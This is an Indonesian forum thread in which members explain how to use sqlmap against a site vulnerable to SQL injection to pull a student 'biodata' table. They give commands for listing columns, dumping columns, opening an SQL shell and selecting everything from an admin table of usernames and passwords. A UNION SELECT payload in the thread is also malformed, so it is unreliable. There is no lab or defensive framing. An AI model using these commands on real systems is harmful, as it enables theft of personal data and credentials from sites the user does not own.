[Carolus]

Bagaimana cara memasukkan Query SQL ke dalam SQL Injection?

Misalnya, kita punya web target yang vuln SQL Inject. Dan gunakan sqlmap dengan perintah ini.

Code:

sqlmap.py -u http://target.com/id=1 -D mahasiswa -T biodata --columns

Jika kita ingin memasukkan Query SQL di bawah ini bagaimana?

Code:

SELECT * FROM biodata WHERE fakultas='teknik'

[Kresna]

Bagaimana cara memasukkan Query SQL ke dalam SQL Injection?

Misalnya, kita punya web target yang vuln SQL Inject. Dan gunakan sqlmap dengan perintah ini.

Code:

sqlmap.py -u http://target.com/id=1 -D mahasiswa -T biodata --columns

Jika kita ingin memasukkan Query SQL di bawah ini bagaimana?

Code:

SELECT * FROM biodata WHERE fakultas='teknik'

gimana ya, ane bingung jelasinnya om :v
coba Cek thread ini om ->
 SQL Injection Cheat Sheet

Simple and Fast Sqli Manual
Banyak pencerahan disana

[wine trochanter]

union select 1,2,group_concat(column_name) from information_schema.tables where table.name='biodata'

begitukah maksudnya? ane jg gak paham

[Kresna]

union select 1,2,group_concat(column_name) from information_schema.tables where table.name='biodata'

begitukah maksudnya? ane jg gak paham

nah tukang suntiknya datang

[devilscream]

sqlmap.py -u http://target.com/id=1 -D mahasiswa -T biodata -C fakultas --dump

gitu ya?

[dharaninja]

Maksudnya gini bro ? sqlmap.py -u http://target.com/id=1 --sql-shell. Nanti kalau udah masuk sql-shell, baru masukin perintah query sql yang ente mau ?

[Carolus]

union select 1,2,group_concat(column_name) from information_schema.tables where table.name='biodata'

begitukah maksudnya? ane jg gak paham

Kalo itu kan kita hanya nampilin semua yang ada di table biodata.
Kalo pengen spesifik gimana? Misal di tabel biodata ada kolom fakultas, dimana kolom fakultas terdiri dari A, B, C, dll. Nah, yang saya maksudkan, gimana cara nampilin yang hanya fakultas A saja misalnya, yang fakultas B, C, dll engga tampil.
Atau misal yang mempunyai nama A, nama yang lain tidak tampil.

sqlmap.py -u http://target.com/id=1 -D mahasiswa -T biodata -C fakultas --dump

gitu ya?

Kalo seperti itu hasilnya cuman nge-dump data yang ada di kolom fakultas.

Maksudnya gini bro ? sqlmap.py -u http://target.com/id=1 --sql-shell. Nanti kalau udah masuk sql-shell, baru masukin perintah query sql yang ente mau ?

Cara gunainnya gimana itu sql-shell?

[dharaninja]

union select 1,2,group_concat(column_name) from information_schema.tables where table.name='biodata'

begitukah maksudnya? ane jg gak paham

Kalo itu kan kita hanya nampilin semua yang ada di table biodata.
Kalo pengen spesifik gimana? Misal di tabel biodata ada kolom fakultas, dimana kolom fakultas terdiri dari A, B, C, dll. Nah, yang saya maksudkan, gimana cara nampilin yang hanya fakultas A saja misalnya, yang fakultas B, C, dll engga tampil.
Atau misal yang mempunyai nama A, nama yang lain tidak tampil.

sqlmap.py -u http://target.com/id=1 -D mahasiswa -T biodata -C fakultas --dump

gitu ya?

Kalo seperti itu hasilnya cuman nge-dump data yang ada di kolom fakultas.

Maksudnya gini bro ? sqlmap.py -u http://target.com/id=1 --sql-shell. Nanti kalau udah masuk sql-shell, baru masukin perintah query sql yang ente mau ?

Cara gunainnya gimana itu sql-shell?

Ya, sql-shell kita makenya kaya masukin perintah mysql biasa aja. Sebagai contoh ada nama tablenya table_admin, kalau kita ngedump table_admin yang berisi username dan password yang row nya banyak, akan terasa lambat dan menguras waktu. Untuk mempersingkat waktu gunakan sql-shell, SELECT * FROM table_admin;